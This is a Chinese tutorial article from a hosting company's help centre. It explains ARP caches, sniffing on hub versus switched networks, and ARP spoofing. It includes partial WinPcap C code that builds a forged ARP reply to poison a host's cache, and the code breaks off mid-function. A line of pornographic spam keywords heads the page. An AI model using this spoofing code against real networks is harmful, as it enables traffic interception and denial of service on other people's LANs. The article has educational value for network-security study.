无码视频在线观看,99人妻,国产午夜视频,久久久久国产一级毛片高清版新婚

  • 始創(chuàng)于2000年 股票代碼:831685
    咨詢熱線:0371-60135900 注冊有禮 登錄
    • 掛牌上市企業(yè)
    • 60秒人工響應(yīng)
    • 99.99%連通率
    • 7*24h人工
    • 故障100倍補(bǔ)償
    全部產(chǎn)品
    您的位置: 網(wǎng)站首頁 > 幫助中心>文章內(nèi)容

    實(shí)例講解如何對目標(biāo)進(jìn)行ARP欺騙

    發(fā)布時(shí)間:  2012/6/17 21:42:10

    以太網(wǎng)內(nèi)的嗅探sniff對于網(wǎng)絡(luò)安全來說并不是什么好事,雖然對于網(wǎng)絡(luò)管理員能夠跟蹤數(shù)據(jù)包并且發(fā)現(xiàn)網(wǎng)絡(luò)問題,但是如果被破壞者利用的話,就對整個(gè)網(wǎng)絡(luò)構(gòu)成嚴(yán)重的安全威脅。
    ARP緩存表假設(shè)這樣一個(gè)網(wǎng)絡(luò): 
     

    E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left 
    borderColorLight=black border=1> —————————— | HUB | —————————— HostA HostB HostC

    其中:
    A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
    B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
    C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
    假設(shè)B是屬于一個(gè)嗅探愛好者的,比如A機(jī)器的ARP緩存:
    C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic
    這是192.168.10.1機(jī)器上的ARP緩存表,假設(shè),A進(jìn)行一次ping 192.168.10.3操作,PING主機(jī)C,會(huì)查詢本地的ARP緩存表,找到C的IP地址的MAC地址,那么就會(huì)進(jìn)行數(shù)據(jù)傳輸,目的地就是C 的MAC地址。如果A中沒有C的ARP記錄,那么A首先要廣播一次ARP請求,當(dāng)C接收到A 的請求后就發(fā)送一個(gè)應(yīng)答,應(yīng)答中包含有C的MAC地址,然后A接收到C的應(yīng)答,就會(huì)更新本地的ARP緩存。接著使用這個(gè)MAC地址發(fā)送數(shù)據(jù)(由網(wǎng)卡附加MAC地址)。因此,本地高速緩存的這個(gè)ARP表是本地網(wǎng)絡(luò)流通的基礎(chǔ),而且這個(gè)緩存是動(dòng)態(tài)的。
    集線器網(wǎng)絡(luò)(Hub-Based)
    很多網(wǎng)絡(luò)都是用Hub進(jìn)行連接的。數(shù)據(jù)包經(jīng)過Hub傳輸?shù)狡渌?jì)算機(jī)的時(shí)候,Hub只是簡單地把這個(gè)數(shù)據(jù)包廣播到Hub的所有端口上。這就是上面舉例中的一種網(wǎng)絡(luò)結(jié)構(gòu)。
    現(xiàn)在A需要發(fā)送TCP數(shù)據(jù)包給C。首先,A需要檢查本地的ARP 緩存表,查看是否有IP為192.168.10.3即C的ARP記錄,如果沒有那么A將要廣播一個(gè)ARP請求,當(dāng)C接收到這個(gè)請求后,就作出應(yīng)答,然后A更新自己的ARP緩存表。并獲得與C的IP相對應(yīng)的MAC地址。這時(shí)就傳輸這個(gè)TCP數(shù)據(jù)包,Ethernet幀中就包含了C的MAC地址。當(dāng)數(shù)據(jù)包傳輸?shù)紿UB的時(shí)候,HUB直接把整個(gè)數(shù)據(jù)包廣播到所有的端口,然后C就能夠接收到A發(fā)送的數(shù)據(jù)包。
    正因?yàn)镠UB把數(shù)據(jù)廣播到所有的端口,所以計(jì)算機(jī)B也能夠收到A發(fā)送給C的數(shù)據(jù)包。這正是達(dá)到了B嗅探的目的。因此,Hub-Based的網(wǎng)絡(luò)基本沒有安全可言,嗅探在這樣的網(wǎng)絡(luò)中非常容易。
    交換網(wǎng)絡(luò)(Switched Lan)
    交換機(jī)用來代替HUB,正是為了能夠解決HUB的幾個(gè)安全問題,其中就是能夠來解決嗅探問題。Switch不是把數(shù)據(jù)包進(jìn)行端口廣播,它將通過自己的ARP緩存來決定數(shù)據(jù)包傳輸?shù)侥莻(gè)端口上。因此,在交換網(wǎng)絡(luò)上,如果把上面例子中的HUB換為Switch,B就不會(huì)接收到A發(fā)送給C的數(shù)據(jù)包,即便設(shè)置網(wǎng)卡為混雜模式,也不能進(jìn)行嗅探。
    ARP欺騙(ARP spoofing)
    ARP協(xié)議并不只在發(fā)送了ARP請求才接收ARP應(yīng)答。當(dāng)計(jì)算機(jī)接收到ARP應(yīng)答數(shù)據(jù)包的時(shí)候,就會(huì)對本地的ARP緩存進(jìn)行更新,將應(yīng)答中的IP和MAC地址存儲在ARP緩存中。因此,在上面的假設(shè)網(wǎng)絡(luò)中,B向A發(fā)送一個(gè)自己偽造的ARP應(yīng)答,而這個(gè)應(yīng)答中的數(shù)據(jù)為發(fā)送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本來應(yīng)該是CC-CC-CC-CC-CC-CC,這里被偽造了)。當(dāng)A接收到B偽造的ARP應(yīng)答,就會(huì)更新本地的ARP緩存(A可不知道被偽造了),F(xiàn)在A機(jī)器的ARP緩存更新了:
    C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic
    這可不是小事。局域網(wǎng)的網(wǎng)絡(luò)流通可不是根據(jù)IP地址進(jìn)行,而是按照MAC地址進(jìn)行傳輸。現(xiàn)在192.168.10.3的MAC地址在A上被改變成一個(gè)本不存在的MAC地址,F(xiàn)在A開始Ping 192.168.10.3,網(wǎng)卡遞交的MAC地址是DD-DD-DD-DD-DD-DD,結(jié)果是什么呢?網(wǎng)絡(luò)不通,A根本不能Ping通C!!這就是一個(gè)簡單的ARP欺騙。
    我們來實(shí)現(xiàn)這樣的ARP欺騙。這里需要使用一個(gè)WinPcap提供的API和驅(qū)動(dòng)。(http://winpcap.polito.it/),winpcap是一個(gè)偉大而且開放的項(xiàng)目。Windows環(huán)境下的nmap、snort、windump都是使用的winpcap。

     

    // ARP Sender
    #include "stdafx.h"
    #include "Mac.h" //GetMacAddr(),我寫的把字符串轉(zhuǎn)換為MAC地址的函數(shù),就不列在這里了
    #include 
    #include 
    #define EPT_IP 0x0800 /* type: IP */
    #define EPT_ARP 0x0806 /* type: ARP */
    #define EPT_RARP 0x8035 /* type: RARP */
    #define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
    #define ARP_REQUEST 0x0001 /* ARP request */
    #define ARP_REPLY 0x0002 /* ARP reply */
    #define Max_Num_Adapter 10
    #pragma pack(push, 1)
    typedef struct ehhdr 
    {
    unsigned char eh_dst[6]; /* destination ethernet addrress */
    unsigned char eh_src[6]; /* source ethernet addresss */
    unsigned short eh_type; /* ethernet pachet type */
    }EHHDR, *PEHHDR;
    typedef struct arphdr
    {
    unsigned short arp_hrd; /* format of hardware address */
    unsigned short arp_pro; /* format of protocol address */
    unsigned char arp_hln; /* length of hardware address */
    unsigned char arp_pln; /* length of protocol address */
    unsigned short arp_op; /* ARP/RARP operation */
    unsigned char arp_sha[6]; /* sender hardware address */
    unsigned long arp_spa; /* sender protocol address */
    unsigned char arp_tha[6]; /* target hardware address */
    unsigned long arp_tpa; /* target protocol address */
    }ARPHDR, *PARPHDR;
    typedef struct arpPacket
    {
    EHHDR ehhdr;
    ARPHDR arphdr;
    } ARPPACKET, *PARPPACKET;
    #pragma pack(pop)
    int main(int argc, char* argv[])
    {
    static char AdapterList[Max_Num_Adapter][1024]; 
    char szPacketBuf[600];
    char MacAddr[6];
    LPADAPTER lpAdapter;
    LPPACKET lpPacket;
    WCHAR AdapterName[2048];
    WCHAR *temp,*temp1;
    ARPPACKET ARPPacket;
    ULONG AdapterLength = 1024;
    int AdapterNum = 0;
    int nRetCode, i;###NextPage###
    //Get The list of Adapter
    if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
    {
    printf("Unable to retrieve the list of the adapters!\n");
    return 0;
    }
    temp = AdapterName;
    temp1=AdapterName;
    i = 0;
    while ((*temp != \0)||(*(temp-1) != \0))
    {
    if (*temp == \0) 
    {
    memcpy(AdapterList,temp1,(temp-temp1)*2);
    temp1=temp+1;
    i++;
    }
    temp++;
    }
    AdapterNum = i;
    for (i = 0; i < AdapterNum; i++)
    wprintf(L"\n%d- %s\n", i+1, AdapterList);
    printf("\n");
    //Default open the 0
    lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
    //取第一個(gè)網(wǎng)卡(假設(shè)啦)
    if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
    {
    nRetCode = GetLastError();
    printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
    return 0;
    }
    lpPacket = PacketAllocatePacket();
    if(lpPacket == NULL)
    {
    printf("\nError:failed to allocate the LPPACKET structure.");
    return 0;
    }
    ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
    if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
    {
    printf ("Get Mac address error!\n");
    }
    memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
    if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
    {
    printf ("Get Mac address error!\n");
    return 0;
    }
    memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
    ARPPacket.arphdr.arp_pro = htons(EPT_IP);
    ARPPacket.arphdr.arp_hln = 6;
    ARPPacket.arphdr.arp_pln = 4;
    ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
    if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
    {
    printf ("Get Mac address error!\n");
    return 0;
    }
    memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址
    ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
    if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
    {
    

    本文出自:億恩科技【mszdt.com】

    服務(wù)器租用/服務(wù)器托管中國五強(qiáng)!虛擬主機(jī)域名注冊頂級提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營性ICP/ISP證:贛B2-20080012
  • 服務(wù)器/云主機(jī) 24小時(shí)售后服務(wù)電話:0371-60135900
  • 虛擬主機(jī)/智能建站 24小時(shí)售后服務(wù)電話:0371-60135900
  • 專注服務(wù)器托管17年
    掃掃關(guān)注-微信公眾號
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號
      1
     
     
     
     

    0371-60135900
    7*24小時(shí)客服服務(wù)熱線